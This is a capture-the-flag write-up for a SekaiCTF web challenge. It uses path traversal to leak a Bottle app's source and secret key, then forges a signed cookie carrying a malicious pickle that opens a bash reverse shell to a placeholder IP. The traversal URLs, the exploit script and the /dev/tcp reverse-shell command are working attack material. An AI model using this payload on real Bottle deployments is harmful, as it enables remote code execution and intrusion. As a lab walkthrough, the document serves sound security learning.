bottle-poem - web
LFI here :
http://bottle-poem.ctf.sekai.team/show?id=../../etc/passwd
While enumerating we can see that this web app is a python one. (confirmed here http://bottle-poem.ctf.sekai.team/show?id=../../proc/self/cmdline) So we can try to get :
http://bottle-poem.ctf.sekai.team/show?id=../app.py
response :
No!!!!
To bypass this filter i tried:
http://bottle-poem.ctf.sekai.team/show?id=.././app.py
Like so we got the source of the app
requesting http://bottle-poem.ctf.sekai.team/show?id=/app/app.py also works because of:
requested_path = os.path.join(os.getcwd() + "/poems", param)
If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
app.py
from config.secret import sekai
import os
import re
@route("/")
def home():
return template("index")
@route("/show")
def index():
response.content_type = "text/plain; charset=UTF-8"
param = request.query.id
if re.search("^../app", param):
return "No!!!!"
requested_path = os.path.join(os.getcwd() + "/poems", param)
try:
with open(requested_path) as f:
tfile = f.read()
except Exception as e:
return "No This Poems"
return tfile
@error(404)
def error404(error):
return template("error")
@route("/sign")
def index():
try:
session = request.get_cookie("name", secret=sekai)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=sekai)
return template("guest", name=session["name"])
if session["name"] == "admin":
return template("admin", name=session["name"])
except:
return "pls no hax"
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8080)
There is not to much to exploit here as first seen, after tryed to find some ssti bypass or smth similar i decide to dig in bottle code and search for cookie issues. The bottle version used on this challenge can be retrieved here http://bottle-poem.ctf.sekai.team/show?id=/usr/local/lib/python3.8/site-packages/bottle.py
Then i checked on github the code of the proper version and spot a deserialisation on the cookie_decode() function:
pickle.loads(base64.b64decode(msg))
The code from github was 0.13-dev and the one from the challenge was 0.12.23. between those two versions they changed the way the cookie were signed. On the previous on (0.12.23) md5 was used.
I struggled lot of time to figured that, then i tryed to sign my malicious object with the secret that we got before with our LFI :
/show?id=/app/config/secret.py
Here is the exploit code to sign our malicious cookie
import os
import re
import hashlib, hmac, base64, pickle
sekai="Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
unicode = str
cmd = "bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/4444 <&1'"
class Exploit(object):
def __reduce__(self):
return (os.system, (cmd,))
def tob(s, enc='utf8'):
if isinstance(s, unicode):
return s.encode(enc)
return b'' if s is None else bytes(s)
def touni(s, enc='utf8', err='strict'):
if isinstance(s, bytes):
return s.decode(enc, err)
return unicode("" if s is None else s)
def build_exploit():
digestmod = hashlib.md5
encoded = base64.b64encode(pickle.dumps(Exploit()))
sig = base64.b64encode(hmac.new(tob(sekai), encoded, digestmod=digestmod).digest())
value = touni(tob('!') + sig + tob('?') + encoded)
return value
cookie = build_exploit()
print(cookie)
Then we can pass this cookie to the website on /sign endpoint and get our reverse shell.
Not we can execute /flag binary in order to retriever the flag
SEKAI{W3lcome_To_Our_Bottle}
I found out that the vulnerability were already found but wasn’t well documented in the bottle documentation: https://www.balda.ch/posts/2013/Jun/23/python-web-frameworks-pickle/